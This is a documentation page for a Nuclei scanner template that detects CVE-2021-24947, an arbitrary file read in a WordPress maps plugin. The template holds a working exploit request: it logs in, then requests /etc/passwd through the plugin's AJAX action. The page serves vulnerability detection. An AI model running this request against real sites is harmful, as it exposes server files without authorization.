Skip to content
Nuclei Templates

WordPress Responsive Vector Maps < 6.4.2 - Arbitrary File Read

ID: CVE-2021-24947

Severity: medium

Author: cckuailong

Tags: cve2021,cve,authenticated,wpscan,lfi,wp,wordpress,wp-plugin,lfr,thinkupthemes

Description

Section titled “Description”

WordPress Responsive Vector Maps < 6.4.2 contains an arbitrary file read vulnerability because the plugin does not have proper authorization and validation of the rvm_upload_regions_file_path parameter in the rvm_import_regions AJAX action, allowing any authenticated user to read arbitrary files on the web server.

YAML Source

Section titled “YAML Source”
id: CVE-2021-24947


info:
  name: WordPress Responsive Vector Maps < 6.4.2 - Arbitrary File Read
  author: cckuailong
  severity: medium
  description: WordPress Responsive Vector Maps < 6.4.2 contains an arbitrary file read vulnerability because the plugin does not have proper authorization and validation of the rvm_upload_regions_file_path parameter in the rvm_import_regions AJAX action, allowing any authenticated user to read arbitrary files on the web server.
  impact: |
    An attacker can read sensitive files on the server, potentially leading to unauthorized access or exposure of sensitive information.
  remediation: |
    Update WordPress Responsive Vector Maps plugin to version 6.4.2 or later to mitigate the vulnerability.
  reference:
    - https://wpscan.com/vulnerability/c6bb12b1-6961-40bd-9110-edfa9ee41a18
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24947
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/kazet/wpgarlic
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 6.5
    cve-id: CVE-2021-24947
    cwe-id: CWE-352,CWE-863
    epss-score: 0.00398
    epss-percentile: 0.73461
    cpe: cpe:2.3:a:thinkupthemes:responsive_vector_maps:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: thinkupthemes
    product: responsive_vector_maps
    framework: wordpress
  tags: cve2021,cve,authenticated,wpscan,lfi,wp,wordpress,wp-plugin,lfr,thinkupthemes


http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Origin: {{RootURL}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: wordpress_test_cookie=WP%20Cookie%20check


        log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
      - |
        GET /wp-admin/admin-ajax.php?action=rvm_import_regions&nonce=5&rvm_mbe_post_id=1&rvm_upload_regions_file_path=/etc/passwd HTTP/1.1
        Host: {{Hostname}}


    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0"


      - type: status
        status:
          - 200
# digest: 4a0a00473045022100bac98b57e0edda049695e6b0d323282a1a923f7d304cfc1eb4da8f20581fde4f0220192845d8410095c88897be98ade5a9140f51ce52031f21ffada8aa67d54ed688:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-24947.yaml"

View on Github